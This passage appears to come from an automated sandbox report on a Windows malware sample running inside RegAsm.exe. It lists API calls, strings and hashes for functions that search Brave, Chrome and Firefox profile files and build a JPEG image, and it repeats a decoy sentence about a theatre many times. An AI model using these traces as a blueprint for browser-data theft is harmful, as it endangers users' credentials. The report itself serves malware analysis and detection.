lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction ID: 568009891a73934414478d5ea9ac1d95815f38c27f73e6007f327c9a8c174b1c
Opcode Fuzzy Hash: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction Fuzzy Hash: 1541AB79740624EBC71CAFE5EC89B997F71AB4C712BA0C062F90299190C7F9D5019B3E

Function 6BEB35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6BF3F688,00001000), ref: 6BEB35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BEB35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BEB35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BEB363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BEB369F
__aulldiv.LIBCMT ref: 6BEB36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BEB3773
EnterCriticalSection.KERNEL32(6BF3F688), ref: 6BEB377E
LeaveCriticalSection.KERNEL32(6BF3F688), ref: 6BEB37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BEB37C4
EnterCriticalSection.KERNEL32(6BF3F688), ref: 6BEB37CB
LeaveCriticalSection.KERNEL32(6BF3F688), ref: 6BEB3801
__aulldiv.LIBCMT ref: 6BEB3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BEB3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BEB3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BEB394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6BEB35DB
QPC, xrefs: 6BEB38FC
GTC, xrefs: 6BEB3912
GenuntelineI, xrefs: 6BEB3639
AuthcAMDenti, xrefs: 6BEB3946

Memory Dump Source

Source File: 00000002.00000002.2252758559.000000006BEB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6BEB0000, based on PE: true

Associated: 00000002.00000002.2252736558.000000006BEB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252945257.000000006BF3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2252964506.000000006BF42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6beb0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5b252e36dea10a8f523e611829b03c505aba79f3d05f3cd0cb56da6cdb36adbb
Instruction ID: 4fda6754aa17edd32ff4c7d527b972d066e995bee157be547f5e85104a31917a
Opcode Fuzzy Hash: 5b252e36dea10a8f523e611829b03c505aba79f3d05f3cd0cb56da6cdb36adbb
Instruction Fuzzy Hash: C5B1C471A283109FDB28EF28C95571ABBE6EB89700F14892DE899D3370D734DD498BD1

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E
\Brave\Preferences, xrefs: 0040C01B
Google Chrome, xrefs: 0040C474

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\*, xrefs: 00414400
%s\%s, xrefs: 00414484

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 00418AB0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00418B0C

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

